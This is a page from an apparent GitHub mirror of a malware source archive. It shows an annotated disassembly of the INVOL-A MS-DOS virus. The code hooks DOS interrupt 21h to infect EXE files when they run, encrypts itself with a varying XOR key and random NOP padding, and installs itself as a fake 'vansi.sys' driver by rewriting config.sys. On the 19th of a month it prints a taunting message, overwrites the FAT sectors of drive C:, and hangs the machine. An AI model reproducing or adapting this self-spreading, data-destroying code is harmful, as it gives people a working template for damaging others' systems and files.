13
1
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-28 09:52:32 +00:00
vxug-MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.invol.asm
2021-01-12 17:47:04 -06:00

564 lines
28 KiB
NASM

; INVOL-A INT 21h handler Aug 26, 1992
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
0b59:0014 3d 00 4b cmp ax,4b00
0b59:0017 74 03 jz 001c
0b59:0019 e9 7b 02 jmp ORIGINAL_21h (0297)
0b59:001c 50 push ax
0b59:001d 53 push bx
0b59:001e 52 push dx
0b59:001f 1e push ds
0b59:0020 06 push es
0b59:0021 b8 02 3d mov ax,3d02
0b59:0024 cd 21 int 21
0b59:0026 73 03 jae 002b
0b59:0028 e9 67 02 jmp 0292
0b59:002b 8b d8 mov bx,ax
0b59:002d 8c c8 mov ax,cs
0b59:002f 8e d8 mov ds,ax
0b59:0031 b4 3f mov ah,3f
0b59:0033 b9 18 00 mov cx,0018
0b59:0036 ba 70 05 mov dx,0570
0b59:0039 cd 21 int 21
0b59:003b 72 4d jb 008a
0b59:003d 81 3e 70 05 4d
5a cmp word [0570],5a4d
0b59:0043 75 45 jnz 008a
0b59:0045 b4 00 mov ah,00
0b59:0047 cd 1a int 1a
0b59:0049 89 16 9d 02 mov [029d],dx
0b59:004d b8 02 42 mov ax,4202
0b59:0050 b9 00 00 mov cx,0000
0b59:0053 ba 00 00 mov dx,0000
0b59:0056 cd 21 int 21
0b59:0058 72 30 jb 008a
0b59:005a 89 16 6c 05 mov [056c],dx
0b59:005e a3 6e 05 mov [056e],ax
0b59:0061 2d 02 00 sub ax,0002
0b59:0064 83 da 00 sbb dx,00
0b59:0067 8b ca mov cx,dx
0b59:0069 8b d0 mov dx,ax
0b59:006b b8 00 42 mov ax,4200
0b59:006e cd 21 int 21
0b59:0070 72 18 jb 008a
0b59:0072 b9 02 00 mov cx,0002
0b59:0075 ba 88 05 mov dx,0588
0b59:0078 b4 3f mov ah,3f
0b59:007a cd 21 int 21
0b59:007c 72 0c jb 008a
0b59:007e a1 82 05 mov ax,[0582]
0b59:0081 33 06 88 05 xor ax,[0588]
0b59:0085 3d 4a 4c cmp ax,4c4a
0b59:0088 75 03 jnz 008d
0b59:008a e9 01 02 jmp 028e
0b59:008d b4 2a mov ah,2a
0b59:008f cd 21 int 21
0b59:0091 80 fa 13 cmp dl,13
0b59:0094 74 03 jz DO_DAMAGE (0099)
0b59:0096 e9 b7 00 jmp 0150
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
DO_DAMAGE:
; first display the message below
0b59:0099 b8 02 00 mov ax,0002
0b59:009c cd 10 int 10
0b59:009e ba b1 00 mov dx,00b1
0b59:00a1 b4 09 mov ah,09
0b59:00a3 cd 21 int 21
; then overwrite the first 10 sectors of FAT-1 on C: drive
0b59:00a5 b0 02 mov al,02
0b59:00a7 b9 0a 00 mov cx,000a
0b59:00aa ba 01 00 mov dx,0001
0b59:00ad cd 26 int 26
; Hang the machine
0b59:00af eb fe jmp 00af
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
0b59:00b1 59 6f 75 20 68 61 76 65 |You have|
0b59:00b9 20 68 65 6c 70 65 64 20 | helped |
0b59:00c1 73 70 72 65 61 64 20 74 |spread t|
0b59:00c9 68 69 73 20 76 69 72 75 |his viru|
0b59:00d1 73 2e 0d 0a 54 68 69 73 |s...This|
0b59:00d9 20 68 61 73 20 62 65 65 | has bee|
0b59:00e1 6e 20 61 20 6d 65 73 73 |n a mess|
0b59:00e9 61 67 65 20 66 72 6f 6d |age from|
0b59:00f1 20 79 6f 75 72 20 66 72 | your fr|
0b59:00f9 69 65 6e 64 6c 79 0d 0a |iendly..|
0b59:0101 6e 65 69 67 68 62 6f 72 |neighbor|
0b59:0109 68 6f 6f 64 20 69 6e 66 |hood inf|
0b59:0111 65 63 74 69 6f 6e 20 73 |ection s|
0b59:0119 65 72 76 69 63 65 2e 0d |ervice..|
0b59:0121 0a 54 68 61 6e 6b 20 79 |.Thank y|
0b59:0129 6f 75 20 66 6f 72 20 79 |ou for y|
0b59:0131 6f 75 72 20 69 6e 76 6f |our invo|
0b59:0139 6c 75 6e 74 61 72 79 20 |luntary |
0b59:0141 63 6f 6f 70 65 72 61 74 |cooperat|
0b59:0149 69 6f 6e 2e 0d 0a 24 |ion...$|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
0b59:0150 a1 6e 05 mov ax,[056e]
0b59:0153 25 0f 00 and ax,000f
0b59:0156 75 0a jnz 0162
0b59:0158 8b 16 6c 05 mov dx,[056c]
0b59:015c a1 6e 05 mov ax,[056e]
0b59:015f eb 1d jmp 017e
0b59:0161 90 nop
0b59:0162 b2 10 mov dl,10
0b59:0164 2a d0 sub dl,al
0b59:0166 b6 00 mov dh,00
0b59:0168 01 16 6e 05 add [056e],dx
0b59:016c 83 16 6c 05 00 adc word [056c],00
0b59:0171 b9 00 00 mov cx,0000
0b59:0174 b8 02 42 mov ax,4202
0b59:0177 cd 21 int 21
0b59:0179 73 03 jae 017e
0b59:017b e9 10 01 jmp 028e
0b59:017e b9 04 00 mov cx,0004
0b59:0181 d1 ea shr dx,1
0b59:0183 d1 d8 rcr ax,1
0b59:0185 e2 fa loop 0181
0b59:0187 2b 06 78 05 sub ax,[0578]
0b59:018b 01 06 7a 05 add [057a],ax
0b59:018f 8b 16 86 05 mov dx,[0586]
0b59:0193 89 16 a6 04 mov [04a6],dx
0b59:0197 8b 16 84 05 mov dx,[0584]
0b59:019b 89 16 a4 04 mov [04a4],dx
0b59:019f 8b 16 7e 05 mov dx,[057e]
0b59:01a3 89 16 9b 04 mov [049b],dx
0b59:01a7 8b 16 80 05 mov dx,[0580]
0b59:01ab 89 16 a0 04 mov [04a0],dx
0b59:01af a3 86 05 mov [0586],ax
0b59:01b2 c7 06 84 05 58 05 mov word [0584],0558
0b59:01b8 05 5f 00 add ax,005f
0b59:01bb a3 7e 05 mov [057e],ax
0b59:01be c7 06 80 05 00 01 mov word [0580],0100
0b59:01c4 a1 9d 02 mov ax,[029d]
0b59:01c7 a3 82 05 mov [0582],ax
0b59:01ca be 14 00 mov si,0014
0b59:01cd 8c df mov di,ds
0b59:01cf 8e c7 mov es,di
0b59:01d1 bf 88 05 mov di,0588
0b59:01d4 b9 ac 02 mov cx,02ac
0b59:01d7 8b 16 9d 02 mov dx,[029d]
0b59:01db fc cld
0b59:01dc ad lodsw
0b59:01dd 33 c2 xor ax,dx
0b59:01df ab stosw
0b59:01e0 e2 fa loop 01dc
0b59:01e2 be 9c 02 mov si,029c
0b59:01e5 d1 ea shr dx,1
0b59:01e7 73 04 jae 01ed
0b59:01e9 c6 05 90 mov byte [di],90
0b59:01ec 47 inc di
0b59:01ed a5 movs
0b59:01ee a5 movs
0b59:01ef a5 movs
0b59:01f0 b9 0a 00 mov cx,000a
0b59:01f3 83 f9 03 cmp cx,03
0b59:01f6 75 02 jnz 01fa
0b59:01f8 8b ef mov bp,di
0b59:01fa d1 ea shr dx,1
0b59:01fc 73 04 jae 0202
0b59:01fe c6 05 90 mov byte [di],90
0b59:0201 47 inc di
0b59:0202 a5 movsw
0b59:0203 e2 ee loop 01f3
0b59:0205 b0 e2 mov al,e2
0b59:0207 aa stosb
0b59:0208 2b ef sub bp,di
0b59:020a 4d dec bp
0b59:020b 8b c5 mov ax,bp
0b59:020d aa stosb
0b59:020e b0 e9 mov al,e9
0b59:0210 aa stosb
0b59:0211 b8 a0 02 mov ax,02a0
0b59:0214 2b c7 sub ax,di
0b59:0216 05 88 05 add ax,0588
0b59:0219 ab stosw
0b59:021a b8 4a 4c mov ax,4c4a
0b59:021d 33 06 9d 02 xor ax,[029d]
0b59:0221 89 05 mov [di],ax
0b59:0223 83 c7 02 add di,02
0b59:0226 81 ef 88 05 sub di,0588
0b59:022a 8b cf mov cx,di
0b59:022c ba 88 05 mov dx,0588
0b59:022f b4 40 mov ah,40
0b59:0231 cd 21 int 21
0b59:0233 72 59 jb 028e
0b59:0235 01 06 6e 05 add [056e],ax
0b59:0239 83 16 6c 05 00 adc word [056c],00
0b59:023e 8b 16 6c 05 mov dx,[056c]
0b59:0242 a1 6e 05 mov ax,[056e]
0b59:0245 8a f2 mov dh,dl
0b59:0247 8a d4 mov dl,ah
0b59:0249 d1 ea shr dx,1
0b59:024b b4 00 mov ah,00
0b59:024d d0 d4 rcl ah,1
0b59:024f 42 inc dx
0b59:0250 89 16 74 05 mov [0574],dx
0b59:0254 a3 72 05 mov [0572],ax
0b59:0257 8b 16 6c 05 mov dx,[056c]
0b59:025b a1 6e 05 mov ax,[056e]
0b59:025e b9 04 00 mov cx,0004
0b59:0261 d1 ea shr dx,1
0b59:0263 d1 d8 rcr ax,1
0b59:0265 e2 fa loop 0261
0b59:0267 2b 06 78 05 sub ax,[0578]
0b59:026b 29 06 7a 05 sub [057a],ax
0b59:026f 73 06 jae 0277
0b59:0271 c7 06 7a 05 00 00 mov word [057a],0000
0b59:0277 b9 00 00 mov cx,0000
0b59:027a ba 00 00 mov dx,0000
0b59:027d b8 00 42 mov ax,4200
0b59:0280 cd 21 int 21
0b59:0282 72 0a jb 028e
0b59:0284 b9 18 00 mov cx,0018
0b59:0287 ba 70 05 mov dx,0570
0b59:028a b4 40 mov ah,40
0b59:028c cd 21 int 21
0b59:028e b4 3e mov ah,3e
0b59:0290 cd 21 int 21
0b59:0292 07 pop es
0b59:0293 1f pop ds
0b59:0294 5a pop dx
0b59:0295 5b pop bx
0b59:0296 58 pop ax
ORIGINAL_21h:
0b59:0297 ea eb 40 19 00 jmp 0019:40eb
0b59:029c ba c4 68 mov dx,68c4
0b59:029f b9 ac 02 mov cx,02ac
0b59:02a2 8c dd mov bp,ds
0b59:02a4 8c c8 mov ax,cs
0b59:02a6 8e d8 mov ds,ax
0b59:02a8 8e c0 mov es,ax
0b59:02aa 33 f6 xor si,si
0b59:02ac 8b fe mov di,si
0b59:02ae fc cld
0b59:02af 90 nop
0b59:02b0 ad lodsw
0b59:02b1 90 nop
0b59:02b2 33 c2 xor ax,dx
0b59:02b4 ab stosw
0b59:02b5 90 nop
0b59:02b6 8e dd mov ds,bp
0b59:02b8 be 80 00 mov si,0080
0b59:02bb bf 66 05 mov di,0566
0b59:02be b9 40 00 mov cx,0040
0b59:02c1 f3 repz
0b59:02c2 a5 movsw
0b59:02c3 8c c0 mov ax,es
0b59:02c5 8e d8 mov ds,ax
0b59:02c7 8b c5 mov ax,bp
0b59:02c9 05 10 00 add ax,0010
0b59:02cc 01 06 92 04 add [0492],ax
0b59:02d0 01 06 87 04 add [0487],ax
; Hook INT 21h
0b59:02d4 b8 00 00 mov ax,0000
0b59:02d7 8e d8 mov ds,ax
0b59:02d9 c4 1e 84 00 les bx,[0084]
0b59:02dd 81 fb b6 0c cmp bx,0cb6
0b59:02e1 75 14 jnz 02f7
0b59:02e3 26 80 3f 9c cmp byte es:[bx],9c
0b59:02e7 75 0e jnz 02f7
0b59:02e9 26 c4 06 c5 02 les ax,es:[02c5]
0b59:02ee fa cli
0b59:02ef a3 84 00 mov [0084],ax
0b59:02f2 8c 06 86 00 mov [0086],es
0b59:02f6 fb sti
0b59:02f7 8c c8 mov ax,cs
0b59:02f9 8e d8 mov ds,ax
0b59:02fb 8e c0 mov es,ax
0b59:02fd b8 00 3d mov ax,3d00
0b59:0300 ba 94 04 mov dx,0494
0b59:0303 cd 21 int 21
0b59:0305 72 79 jb 0380
0b59:0307 8b d8 mov bx,ax
0b59:0309 ba f0 06 mov dx,06f0
0b59:030c b9 00 04 mov cx,0400
0b59:030f b4 3f mov ah,3f
0b59:0311 cd 21 int 21
0b59:0313 72 6e jb 0383
0b59:0315 8b c8 mov cx,ax
0b59:0317 a3 78 05 mov [0578],ax
0b59:031a be f0 06 mov si,06f0
0b59:031d ac lodsb
0b59:031e 3c 44 cmp al,44 ; 'D'
0b59:0320 74 06 jz 0328
0b59:0322 3c 64 cmp al,64 ; 'd'
0b59:0324 e0 f7 loopnz 031d
0b59:0326 e3 5e jcxz 0386
0b59:0328 bf a2 04 mov di,04a2
0b59:032b ac lodsb
0b59:032c 3c 61 cmp al,61 ; 'a'
0b59:032e 72 02 jb 0332
0b59:0330 2c 20 sub al,20
0b59:0332 ae scasb
0b59:0333 e1 f6 loopz 032b
0b59:0335 e3 4f jcxz 0386
0b59:0337 81 ff a8 04 cmp di,04a8
0b59:033b e0 e0 loopnz 031d
0b59:033d 8b fe mov di,si
0b59:033f 4f dec di
0b59:0340 b0 3d mov al,3d
0b59:0342 f2 repnz
0b59:0343 ae scasb
0b59:0344 b0 41 mov al,41
0b59:0346 ae scasb
0b59:0347 77 fd ja 0346
0b59:0349 8b f7 mov si,di
0b59:034b b0 20 mov al,20
0b59:034d ae scasb
0b59:034e 72 fd jb 034d
0b59:0350 c6 45 ff 00 mov byte [-01+di],00
0b59:0354 8b fe mov di,si
0b59:0356 83 ef 04 sub di,04
0b59:0359 80 3c 3a cmp byte [si],3a ; ':'
0b59:035c 74 04 jz 0362
0b59:035e 4e dec si
0b59:035f eb 05 jmp 0366
0b59:0361 90 nop
0b59:0362 83 c7 02 add di,02
0b59:0365 46 inc si
0b59:0366 80 3c 5c cmp byte [si],5c ; '\'
0b59:0369 75 01 jnz 036c
0b59:036b 47 inc di
0b59:036c 8b d7 mov dx,di
0b59:036e be a8 04 mov si,04a8
0b59:0371 b9 03 00 mov cx,0003
0b59:0374 f3 repz
0b59:0375 a4 movsb
0b59:0376 b8 02 3d mov ax,3d02
0b59:0379 cd 21 int 21
0b59:037b 72 09 jb 0386
0b59:037d e9 92 00 jmp 0412
0b59:0380 e9 07 01 jmp 048a
0b59:0383 e9 00 01 jmp 0486
0b59:0386 b4 3e mov ah,3e
0b59:0388 cd 21 int 21
0b59:038a 72 f4 jb 0380
0b59:038c b8 02 3d mov ax,3d02
0b59:038f cd 21 int 21
0b59:0391 72 ed jb 0380
0b59:0393 8b d8 mov bx,ax
0b59:0395 b4 3f mov ah,3f
0b59:0397 b9 ff ff mov cx,ffff
0b59:039a ba 02 07 mov dx,0702
0b59:039d cd 21 int 21
0b59:039f 72 e2 jb 0383
0b59:03a1 bf f0 06 mov di,06f0
0b59:03a4 be b5 04 mov si,04b5
0b59:03a7 b9 12 00 mov cx,0012
0b59:03aa f3 repz
0b59:03ab a4 movsb
0b59:03ac b8 00 42 mov ax,4200
0b59:03af b9 00 00 mov cx,0000
0b59:03b2 ba 00 00 mov dx,0000
0b59:03b5 cd 21 int 21
0b59:03b7 72 ca jb 0383
0b59:03b9 8b 0e 78 05 mov cx,[0578]
0b59:03bd 83 c1 12 add cx,12
0b59:03c0 90 nop
0b59:03c1 ba f0 06 mov dx,06f0
0b59:03c4 b4 40 mov ah,40
0b59:03c6 cd 21 int 21
0b59:03c8 72 b9 jb 0383
0b59:03ca b4 3e mov ah,3e
0b59:03cc cd 21 int 21
0b59:03ce 72 b0 jb 0380
0b59:03d0 b8 13 80 mov ax,8013
0b59:03d3 a3 52 05 mov [0552],ax
0b59:03d6 b8 14 00 mov ax,0014
0b59:03d9 a3 ff 04 mov [04ff],ax
0b59:03dc b8 23 00 mov ax,0023
0b59:03df a3 04 05 mov [0504],ax
0b59:03e2 b9 04 00 mov cx,0004
0b59:03e5 be c8 04 mov si,04c8
0b59:03e8 bf 58 05 mov di,0558
0b59:03eb f3 repz
0b59:03ec a5 movs
0b59:03ed be d0 04 mov si,04d0
0b59:03f0 bf 04 07 mov di,0704
0b59:03f3 b9 21 00 mov cx,0021
0b59:03f6 f3 repz
0b59:03f7 a5 movs
0b59:03f8 b4 3c mov ah,3c
0b59:03fa b9 02 00 mov cx,0002
0b59:03fd ba a8 04 mov dx,04a8
0b59:0400 cd 21 int 21
0b59:0402 73 03 jae 0407
0b59:0404 e9 83 00 jmp 048a
0b59:0407 8b d8 mov bx,ax
0b59:0409 c7 06 62 05 42
00 mov word [0562],0042
0b59:040f eb 4c jmp 045d
0b59:0411 90 nop
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
0b59:0412 8b c8 mov cx,ax
0b59:0414 b4 3e mov ah,3e
0b59:0416 cd 21 int 21
0b59:0418 8b d9 mov bx,cx
0b59:041a 72 6a jb 0486
0b59:041c ba f0 06 mov dx,06f0
0b59:041f b9 ff ff mov cx,ffff
0b59:0422 b4 3f mov ah,3f
0b59:0424 cd 21 int 21
0b59:0426 72 5e jb 0486
0b59:0428 a3 62 05 mov [0562],ax
0b59:042b a1 02 07 mov ax,[0702]
0b59:042e 3d 4a 4c cmp ax,4c4a
0b59:0431 74 53 jz 0486
0b59:0433 a1 f6 06 mov ax,[06f6]
0b59:0436 a3 ff 04 mov [04ff],ax
0b59:0439 a1 f8 06 mov ax,[06f8]
0b59:043c a3 04 05 mov [0504],ax
0b59:043f a1 f4 06 mov ax,[06f4]
0b59:0442 a3 52 05 mov [0552],ax
0b59:0445 b9 04 00 mov cx,0004
0b59:0448 be fa 06 mov si,06fa
0b59:044b bf 58 05 mov di,0558
0b59:044e f3 repz
0b59:044f a5 movs
0b59:0450 b9 00 00 mov cx,0000
0b59:0453 ba 00 00 mov dx,0000
0b59:0456 b8 00 42 mov ax,4200
0b59:0459 cd 21 int 21
0b59:045b 72 29 jb 0486
0b59:045d c7 06 60 05 4a 4c mov word [0560],4c4a
0b59:0463 b9 14 00 mov cx,0014
0b59:0466 ba 4e 05 mov dx,054e
0b59:0469 b4 40 mov ah,40
0b59:046b cd 21 int 21
0b59:046d 72 17 jb 0486
0b59:046f ba 00 00 mov dx,0000
0b59:0472 b9 fc 0a mov cx,0afc
0b59:0475 b4 40 mov ah,40
0b59:0477 cd 21 int 21
0b59:0479 72 0b jb 0486
0b59:047b 8b 0e 62 05 mov cx,[0562]
0b59:047f ba f0 06 mov dx,06f0
0b59:0482 b4 40 mov ah,40
0b59:0484 cd 21 int 21
0b59:0486 b4 3e mov ah,3e
0b59:0488 cd 21 int 21
0b59:048a 8e c5 mov es,bp
0b59:048c bf 80 00 mov di,0080
0b59:048f be 66 05 mov si,0566
0b59:0492 b9 40 00 mov cx,0040
0b59:0495 f3 repz
0b59:0496 a5 movs
0b59:0497 8e dd mov ds,bp
0b59:0499 fa cli
0b59:049a b8 a0 0d mov ax,0da0
0b59:049d 8e d0 mov ss,ax
0b59:049f bc 10 bf mov sp,bf10
0b59:04a2 fb sti
0b59:04a3 ea 00 00 00 00 jmp 0000:0000
0b59:04a8 63 3a 5c 63 6f 6e 66 69 |c:\confi|
0b59:04b0 67 2e 73 79 73 00 45 56 |g.sys.EV|
0b59:04b8 49 43 45 00 43 3a 5c 76 |ICE.C:\v|
0b59:04c0 61 6e 73 69 2e 73 79 73 |ansi.sys|
0b59:04c8 00 64 65 76 69 63 65 3d |.device=|
0b59:04d0 76 61 6e 73 69 2e 73 79 |vansi.sy|
0b59:04d8 73 0d 0a 90 76 61 6e 73 |s...vans|
0b59:04e0 69 20 20 20 |i |
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
STRAT:
0b59:04e4 2e 89 1e 1f 00 mov cs:[001f],bx
0b59:04e9 2e 8c 06 21 00 mov cs:[0021],es
0b59:04ee cb retf
0b59:04ef 00 00 add [bx+si],al
0b59:04f1 00 00 add [bx+si],al
0b59:04f3 53 push bx
0b59:04f4 06 push es
0b59:04f5 2e 8b 1e 1f 00 mov bx,cs:[001f]
0b59:04fa 2e 8e 06 21 00 mov es,cs:[0021]
0b59:04ff 26 c7 47 03 00 00 mov word es:[03+bx],0000
0b59:0505 26 c7 47 0e 42 00 mov word es:[0e+bx],0042
0b59:050b 26 8c 4f 10 mov es:[10+bx],cs
0b59:050f 07 pop es
0b59:0510 5b pop bx
0b59:0511 cb retf
0b59:0512 ea c1 00 0a 0c jmp 0c0a:00c1
0b59:0517 ea cc 00 0a 0c jmp 0c0a:00cc
0b59:051c 50 push ax
0b59:051d 8c c8 mov ax,cs
0b59:051f 05 b1 00 add ax,00b1
0b59:0522 2e a3 15 05 mov cs:[0515],ax
0b59:0526 2e a3 1a 05 mov cs:[051a],ax
0b59:052a b8 12 05 mov ax,0512
0b59:052d 2e a3 06 00 mov cs:[0006],ax
0b59:0531 58 pop ax
0b59:0532 eb de jmp 0512
0b59:0534 50 push ax
0b59:0535 53 push bx
0b59:0536 1e push ds
0b59:0537 fa cli
0b59:0538 b8 00 00 mov ax,0000
0b59:053b 8e d8 mov ds,ax
0b59:053d bb 84 00 mov bx,0084
0b59:0540 8b 07 mov ax,[bx]
0b59:0542 2e a3 98 02 mov cs:[0298],ax
0b59:0546 8b 47 02 mov ax,[02+bx]
0b59:0549 2e a3 9a 02 mov cs:[029a],ax
0b59:054d b8 14 00 mov ax,0014
0b59:0550 89 07 mov [bx],ax
0b59:0552 8c 4f 02 mov [02+bx],cs
0b59:0555 b8 17 05 mov ax,0517
0b59:0558 2e a3 08 00 mov cs:[0008],ax
0b59:055c fb sti
0b59:055d 1f pop ds
0b59:055e 5b pop bx
0b59:055f 58 pop ax
0b59:0560 eb b5 jmp 0517
DEV_HDR:
0b59:0562 ff ????
0b59:0563 ff ????
0b59:0564 ff ????
0b59:0565 ff
53 c0
0b59:0568 1c 05
0b59:056a 34 05
0b59:056c 01 00
0b59:056e 7c 2d
0b59:0570 4d
0b59:0571 5a